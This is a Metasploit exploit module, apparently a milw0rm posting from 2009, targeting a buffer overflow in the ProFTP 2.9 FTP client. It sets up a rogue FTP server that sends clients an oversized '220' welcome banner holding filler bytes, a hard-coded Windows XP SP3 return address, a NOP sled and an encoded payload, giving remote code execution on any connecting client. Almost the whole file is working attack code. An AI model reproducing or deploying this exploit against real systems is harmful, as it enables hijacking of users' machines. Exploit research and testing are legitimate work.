# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'ProFTP 2.9 (welcome message) Remote Buffer Overflow Exploit',
'Description' => %q{
This module exploits a buffer overflow in the ProFTP 2.9
client that is triggered through an excessively long welcome message.
},
'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Tested against- xp sp3 en OK.
[ 'Universal', { 'Ret' => 0x6809d408 } ], # WCMDPA10
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
buffer = "220 "
buffer << rand_text_numeric(2064)
buffer << [target.ret].pack('V')
buffer << make_nops(20)
buffer << payload.encoded
buffer << "\r\n"
client.put(buffer)
end
end
# milw0rm.com [2009-08-25]